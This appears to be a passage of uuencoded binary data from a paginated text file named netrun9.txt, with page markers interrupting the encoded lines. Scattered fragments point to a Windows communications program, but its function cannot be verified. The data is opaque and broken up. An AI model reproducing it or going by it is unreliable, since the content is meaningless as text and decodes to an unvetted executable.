MQ@@[=@AS`^D/_A]?7HOE7<(0`!(``P'Y``4`:``"`!H``0````,!9@4#`(0`
M!0')!`,`<@`#`=4&`P`/``,!F@$#`!```P'U!@,`$0`#`2T(!0`!``,!5`(#
M`!(``P',`P,`$P`#`1T"`P`5``,!#P8#`*H``P$^!0,`+P`#`1T&`P"P``,!
MT@`#`#$``P&*"`,`,@`#`>H``P!*``,!WP,#`&X```````!05P(0__\!``=#
M;W5R:65R156)Y1[_8;B8`9K__P``@>SW,?_^A_5U`^G9`/]V$OT0_A#]#OT,
M,<!0Q'[SOP8&5^)H`0&-OG#^%C_\\OR)AF[^@[[\`'T9:@`_PK^,`1Y7OZ+[
M]/\#\QXX!,C<Q&K`!VCL_CQHR+S\L?WH`[@0`U"E4`\?V_XFB44F_%4HOZP(
MZ)B^\/]U*/PFV?_@Z];_Q'TF@<<=`";#\8M%!/Q5!@U`RH`,"`#Y(+CP8>JX
M!K\"``Z("6KI\!_\R<9%*OA&!HQ_%\*)[%U-R@X`_O0``O[U]#_W&?@)@/P$
M:O+_-M($O["R'"SI4_S[/9Y2EGU)O[4-PONTO&'[C;[^YO%HXK_'XS'._H#M
M`'0>YOWH@.;@_"_\A`#>O#K6\^L:X/Q4_>3X#&IE*VSQ9?@)@OPC?4B"_-3+
M_X+X(!V"^!#[HX0!B1:&`=4=ZQF#_?CTY?@+:F;E_/\V`+3T_.PP\`EV^`H#
MC>UV_]EV^#B(D8IV^`D#Y?@0:@*`9W;^]/SLVNYV^`[V^`DE\P0E]0*\_(/L
M)?P(>_C`=0HG\H!]*G4-QD;]&P<`:C"`]`3S`8K\_4O"^`SGZ`K_=@IJ#6@`
M!>D*04>2^`DQ^!#E#.5%]NZ?L@:R^!&,TX[#C-O\PG_)Q:>LJI$P[?.DCMN]
M5K/X$('A:@QJF_T=^`X*J?Y`YG#X]ZGX%HJ&\##D0(N[Y?C&@WWQ:FFM_/\X
M^`RMMAT(K?T0RO80^N9IV_Q&\-Y#;O"-?O9A_8M&]NWR"(7Z_/KTUOWC'JOR
MX__T!07-[N;_R?XLA#_EI^[9K>[]&*[ZNBO44&H$._`0XH:ZV`M4^`ODN!)6
M_A*AZK/NR.F=W.[T"<!T%NK^_U?T]O_KU,G#!6ED(#T@!R!R\3]T=/@";7,%
M24--4"!U@*T&A.R![/>-_\(0)H`]`'0#Z7R0[N\K(?Q%!"O^4?XQTHM^__`$
M-CM5Z'P(?Q;X1>9S!@`0ZO^)\OSFGS;:^`KD?PA\VN)VVO@+XO:/VN3P_P-%
MWC835>``5>CXZ.#W[(#1@^DO?>G<!04.B>@+<8M%!H;$Z`;!4F?8"K\+V?@*
M_-FVM*#?^`P3W_Z*Q'WR:[O@";#]347V=&B*TWCX$&I)5[G]<?3]=?@,:@5X
M^`G@_4O:?/UJ-_U_YOW!^`U`Z/0??O8V@T7J`?M5[`#I!P'\>>*)?OJ,1OQQ
MOQ:AZ,/X"67Z9?@4Z-3:=M#]"/T&Z/@+:B!0__HFB@7913#D:^3X$T4!X_@5
MIFE5K?'=_W4OY,'X$VC)]?45,./X%-CVX_@.^18&9OE)#O'=^`K[R<+[_Q``
M$UCK=')A;G-M:70@97+;_G)O<DKJ%O?F%K_Q@<<6^A;_?P>)?NR,1NZ!?@C`
M!78%QT8,?_F+^XE&ZK@!`#L8'OIW'?7ZZP/_(-S[ZOJ)[`/XXL$1#P=5\^-U
MZ(J/]=70Z',.SD#C_SOQ"`5&``@MX?SM[_4$".NTZPR&CC*-P0;W"H;",<`M$?H"Z]O^NOZZ@UB;_CAH_B'^]?4@;[O6#_'_=?CD_OS]70[]E-F#?O``?18,
M]+X'S^@-NO#*@T7NW>K;R<(*_S\`"TQO;VMI;F<@=7`@!U!^^/=O("`#+O\5
M8V]N#_]N97-S:?EE(&9A;&QI(<5T8>8(WF'V'QX"("@,*2#<;7!L97__\2X'
M4T5.1.W9#2P@<FECCQ]E=G5T:?(/(&)Y=`X`P7!E<KC#`X3P%E/4YW/]#X9C
M83H@;;6XW0OT71=A>/3X"65D]/VJU.@-I]W\M_=\SP/I6@2-OA;S1=EE6JT?
MV`D!P`SA_6:*P`Y?Q>+]9^+X#\'PR\2@MP?4A?<`,<"'_XF&$OK\%/J@A0`\
M,'(?Y!@\.7<4O_5@Q>.PEY;CZUJL_+_7"-O=-1YQ?-`.R/@+"L@,^HN'!_@+
MAOAT&L2^]L-;']$,_#TFBP5@L0*D_@``W/C<^$?7GJEB`YG4R;_CF?Z)_`'`
M_[;A_-E2V`KZ_NO>_H'X"6H":@,9U8E&^(-^,6[X_ZT/K?;Y\O$0ARG6[<>&
M\0(`BXO"L(-[^OE[_/E?'_CR^/G_=OC2_CG]"/J#OFY%_`!]/6?][V?X'W'X
M";,^G/CIC`*,!OH0(`+ORN:B^@AP\=6GHN+B^0&<OVCD^<MH!(!H?B#%G;'K
MW/@*8`Y2&J<0:>%-JP'N1O;[4GCNZN'XZOWLQT;F@%/.^^C_?^[B2*']Y/C>
M_>`/`.GU\HE6]$^V_@N8/*F$`6H`5>C4^\&P#/V\G-[N\>#YZ+/X3Q;T:PE,
ML<@%?N;N]GY#J>5`&+/S^O;\[/F&$/SJ^:S*Q+8`/+W\M9VP$'6F@QXT-@&#
MEC4+PPWM7JBKV-#U*Z`)&N0%"1KGB^O56O3^#NCX"7/P$MK^$=KX":SX"A[J
M^`FUH4.YD[G1_B;G^`OL_>K]^>?^-.?X"8M&[HM6\/524_Y\4/+\*T;J&U;L
M[%E>7_YW^+F'`#'VOP!(U_YJ!O<-M*5J)6_X"X-^[`#YN6AO0_CJ`'9B8?Q$
M>O@+Z/WF&]IZ_EOG^`OD_>+G_F=A^`OPJ]YOX(M.ZHM>;_S/R`VJ52NP"[JP
M"?J3Y?@62O,+8K+HJ!,^J`IE67JX"D;8&N%&V!CB1M@6ZW:>ERJ"O'S8";_B
MFYKOFY^_]*VNGI[HESCF_$68$K[X"@$"OO@7:E4PF;[X#LS@"K[X"@:^^!+5
M@`RPA?J8"QUOE/59JK]8P+@P`/R`#PBKZ$2)"O^EC?@)^[email protected]+7]O_1+7KD0
M`E"_'@7=]A]=]HL]_UT<I?/_",G._0$``/``QP!05X\#_Q`#`!,`_P#X`/@>
MAQCX"0'X//C$?HSP`4H``@!SZ&XQQO#I^)/X+/@($+/XW/B]8XSX_OCT^#H;
MX_@5`;C\(_A=P#K'&`$%`*[X0/B"8XSH1>CV\&PQQIR`\(3PY/@88Y'X[OB@
M^`%LC.2M\/V^^`SMQOC#R/WJR/T"`LC\!_@8J4?X'?C((C%&\/T^^$;X2/B*
MM,!-^,!T`FW;P/R,P/V1T/VGP/VL\/W(P/W&&-+`_=SX"OCP<1CX(`'X?P!R
MA[CX$0,H:.@N`S%&"/Q*^+SX6_B*U*!H^#A\X/T8VZCXX_B_V/W3Z/V--!($
M\/PF^*`W!,08J%OX1_@@8XSX9/@=^'XQQO@A^*'XZ-".U+30_`"^^&#0P/T8
M8^7@;?CS^'&,>/C]^%``(P5CC-#\./@3^+<QQO@6^,'X\/A(;=GX"-[P_>CX
M_?J[$>C]__#]"0;X_!?X(%+Z_C_XN$:,C?CY^%+X_6:Q;?CZ^'+P_8#P_8SP
M_9&,;?C\^,GP_=JX_>';H?#]\O#]^?#]`@?X^TAMF.KXN![P_3+P_3MCC/#]
Pagina 40
netrun9.txt
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
Pagina 41
netrun9.txt
MVP-&[`G`?A]@^`N*UNK\LJ@)7/A<EEG_Z@"=&_&A4,YT5TM7\OW8#K7!I%7<
M^@3E"CZ`S>O?_][.`.GFCOT,,=([TWP,^>$/];,`.\%R^:QCDOK@"_J)/=96
M_*OA"T;\P(YOKN/]MFCXL-_XL-@*]K#:[[#?]H4+*;J4ZD@*?0OS_CM%Z`J#
ME-%]!5<*SE2%Y__NXXRC]&CALZW5=O;PH`WX]?8>Q@P(_H*)"/@0MB79"/@9
MO@C\MPCX')D(^#9UO;4,V0/^]'XQ&?@-]&Z8"F?\"AV&/,P)/,D%_\_KPNV"
MA?3]\"?Z_?4(F=6.8>H.?$.!`'GX^<-I055%#MY'T[#&A.S/_6O$U?Y\Z`OW
M\?KQC<`)$*3U@WU+`'86KPN\_@'K_&F-?OB#NK`Z5O@)J^EPE)MP_*#A?@#4
MK>I-W8%L^'3I<W/]473I;4GC\"Q1=_@K3^/P)E'C]W#C]E6[RGEL^'3C\>7A
MH/@*3]GG$@&U4MGC"]*;N_P.=K<.V`^G4:HJP4@SE@?=?K?MT`SYTJJJ$*;X
M*%;AJ?@IQO!!V_`.WO&]51"L3]3P$G\,?=3T=]3P+"[X+-?P*:HV:D!]\"K4
M\%RN^`M+J.@Y3?FJP:CH5$W_=A#4\$!1V"K4\!!6);R!U/)+U/`2J.@U+O@M
MU_`I:KT%J.A"U/!#R<H,!,L<F7[WJVT%P`UB\/W<FY")49"))Y2:<TV*E)W'
MF?S@CM(4Z2H2?LGB,L*4G>W?$A+MW]'?%FW1]K&8#MF"F!OZ*]+PO''>B8;D
MXHH[^7]W[_^$F!;JB5:?F>H+1NQT0(%^\/?0`/]S.0FS_'4(^/BKN>84Z\JS
M].OZZ_:V8?+RZZ2QZJ2U\NWR*[email protected]&-P/P$@PF/]@+1B76.@PX![+7I10&%
M\$&J0>GPJI@+;J+&\2CC=Z6A1A^I<.A`^!(_X='B<7L]^!ZT?@!Z_'<Z^#BMON:AZ/-I^N0]>>!ZHO22$$#>H>'X:`I[Z*K2_>;3_$3X"H+\LCGBOZO!8`,>
MX_@+YO`*JJ$TY]K\JK9CVO@-_J@+HG'E]5U`#"9_MB:-N\;L.WSI/0*#`3'K
M@'U07Z%1\G55:`J7A]J,1MSAX`IOJ\F""#'2W/W:K8`)ZOJ9GN,:U-]QDI@0
MQ/@)!L1KXE^5:?`+HGKL$IF\^OQW^`TB_HU^[C6KEN'*5<8^%.K@^`EE_J%Z
M$&4DZ^;H8`E0Y._^BT;H%%5'].G1W7@/,/_.W-62*O@7TI(O^!>0_$L0W"IN
MK>7]#/$"`B_Q+ZLL7U@7$DOV[BJJ*TOU=&9.]W1;VO!!BFW6]%ZU:`4"=3U`
M#VOX#/$H"3;>=&I41;*>;J_]3&L*_)O#[_[5I.G2_YI6*`IF+$=%4?@*ZEOM4`O])HDH$!\@#G?_=AYG)AAD)*AZ_1*9R7:)6R`.!L2%60$AN'?\@[7UG"&N
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
Pagina 42
netrun9.txt
M^!+H&AC([(V+,?CO>/+XX_BCQO;XXOC`^/WF^/P!^-!@&)B)Z.H9^`CJ!XP;
M^(K@%AF(_$%CC/A4^&7XZY%B^(_X4+'X(XR.^,KXP.$!UC@6R(`!Z/AM$/(C
M0/AQ^&_X<HPQ^!7X$?@FID;X';`:N/R"^(H4N)WXN*QCI.`3\,OP@(@C\/B`
M`?SH;:2@#AN@_!SXH$B1)OB@0?@VQLA?&\C\=_C2Z&@TO>BX\LGP&-K;VNCX
M$.+IV/WP^$#2&E",'/@<`/+X&I$B^'SXX(;X13=0G/BXT0"KZ/VZQACX,_C=
M^`HW@L`9'>C\2OC^&&,0V?CW^&+X-,(8N/C]^)1K-/C^B-+@_:WX(-JXV@[X
M*-K"T/W<L/T9'D7J^#%8VOCP@_C\`=U&GQZPY+4>R.3&^/W^^#=Z(.(+']#L
M$OA(\0$D'[>-X/PS'Z#D7>#]>OC]AA0I^""G^)C'%HOX^7#*^/P@TA1I^%#D
M^&`M((B#^-JP3R"PH]'(V0!X\$CJF_"0\FBTK_#0TL#XT,+18]S0_`#A^-'8
M`R'8_*$8$B'P,"#B\'QCC/`V\"_X110I^'AX^&"BVACX8-*QZ/W"^#4C;?C5
M^)@$(B#4'*1(^.`^^)$:X$GXX%WP_6PIXOAX>/AX`(@W@_A@`9PB./S/TL[P
M.`,C8/P:(R-%8``I^*A+^-N-</)B\/V#\/T>))#D+-0;^'A1^/P!A"2XS,IC
MI/`V^-KXR(B'^OC(`1(EX-1HHU`E`.16^.CBD\<8^/P!F>"E^*5C-/BGZ+/H
M`/*XQH[PI/#&\/P`V-0A^*#V\/T()O@W1HKX+OCP2(TU^`)8Z6CX,BC:Z/W`
M0PSXM.7X/3.TW@#H^/#S\/WV0\SP_08G^#[P"1`I^,@K^,A<Q@SX/^A?^)$R
MZ'_XF);@W#%8IB<$@,(!L/@Y.<:0Z/P`Z?@`V.@=^?A@V0$`*##L$BABC-A0
M^!KX@-&A^#7H4.HZ*-@[2#&HXOBH5N!71L?X8."8P0!UZ`4`.@``\`````!0
M5V$!__\&`,@``@"-O@#_%E>*1@;_?S#DP>@$B_B*A68#4)K__P#*@^;^YB0/
MY/SGY_@+^\1^"`97:@GTP1K)RKBT^`L'[email protected]?@;!/Y_^(M&"HM6##M6"'P'
M?Q,[V'_1<P[N_(E&_(E6_NL,"(7R!O((\OST$'K\]/[&",;X#7\'?"K&QG;&
M^#&,0<8!AG<\[L-6$.X81@SN$>X*<\)#";3\#L(0XOZ605WBEJ3_XO@)F/@M#```\``(`%!7+P#_T`,`'`#_`/(`^#7X_1AC.OCP^$;X[HRQ^%WX0_ALS0+X
M_7'@_7W@`/`````````'`%6)Y1[\Q78&Q'X*K*HPY)'C#JP\07(&/%IW`@0@
MJN+R'\G*!`#(%@``_W8(_W8&:@"-?NH65VH4FO__``"-?NH65\1^"@97:A2:
M__\``,G*!`#("@$`C-..PXS;_(V^_/[%=@:LJI$P[?.DCMN-OOS^%E>-OOK^
M%E>:__\``(F&]OZ)EOC^BX;V_HN6^/Z)1OR)5OZ+1OR+5O[)R@0``P`#`#L`
M_P`#`0,`3`#_`.X``P!\`/\`!`$```````!05]@`__\(`,A0`@",TX[#C-O\
MC;[_'P#_Q78,K*J1,.WSI([;GN#PL/X65^KZFO_[?_\``._\_W8*Q'X&@<<7
M``8#%^G__>GL->S^8?_R]FH,]/XFBD4L,.1_&":)10TFBT4Q_%4SPQCT#_Q5
M$?`M8WSP+_`3\!7)R@K8H6Q$`6SX"?[^;`8`0VSX"O"4:C_XO.3_^*&#/JH'
M`+``=1]@`4"(1O^*_;X$``$``/``!0`#`"H`_P#C``,`00#_`$H``P!5`/\`
MY``#`&$`_P#N``,`P`#_`$D```````````D`58GE@^Q0'E%0B?X&'XU^L!8'
MN4\`_*P(P'0#JN+X,,"JC7ZP%E<65YK__P``6%F-5K`6'\TA'XGL7<-5B>4>
MQ58&M!K-(1_$?@R+3@JT3NBN_W(1Q'X&@\<>!E<&5YK__P``,<"CJ@==R@H`
M`@`#`2L`!@`%``,!80`&``8`4%<<+/__"@"+=P0)][email protected]"=06+__]\!.LQ
MC-^.Q_R+3`:-?`CR'_ZO=`TFBS3@=>\!TXG?_V'K%8M4!DK1XBG*_`'7#.''
MB<N)S<-%_X=5B>4>_W8*'KA,!%#XGU,(FO__``#P4/`&_IOPB>Q=3<H&`-3]
M!D6TU-?]\]?:^`D"_/':_^P)P)ET4_.X_#[\_]O]PX[",>LF@#_H=>'_'KGN
M*=DF.T\!=1,F@?`P/L5;+G4*3$<#O&3\5P7K');X#'25^`E:\7"4_957'L1*
M)O\T&"/]=`+\!/S^$/%T!L0U!E;F!/[_^_\>5`0?7UW#R<((`(S0_'^088[8
M5E>+5@XFB5<$F!!S4$`'H/\/"8M&#%!2B>(64@93X?]['T)Y!XG?@\<,ZP:Z
M_P\,`.B/_HL.5@3C`^B'_[%\'8/$"EA:7UX?>`J0#JCX#+H.$L0^2-\D=,1]
M$@97UO4.[O+X"43G_0R0A_R,V-++__]=$J_^LH/L#*%`!`O_>`9"!'0#Z;,`
M:OYH``']/_'TL_1&]HE6^*$^!,1^]OSX-`6_6`0>5_6!QP(P_P"7:@7<H40$
MBQ8.TT;>_$4'_%4)]8V'$$4+C,+!\L'T/OSQ\B;&!>@&\C'2B\A#>(O:N,JZ
M_2O!&]."".;,`7Q@C+Y\\OP#O@4AQ-2+QZ/HB>@PP(/S!X'D9W4P0+7H^*-S
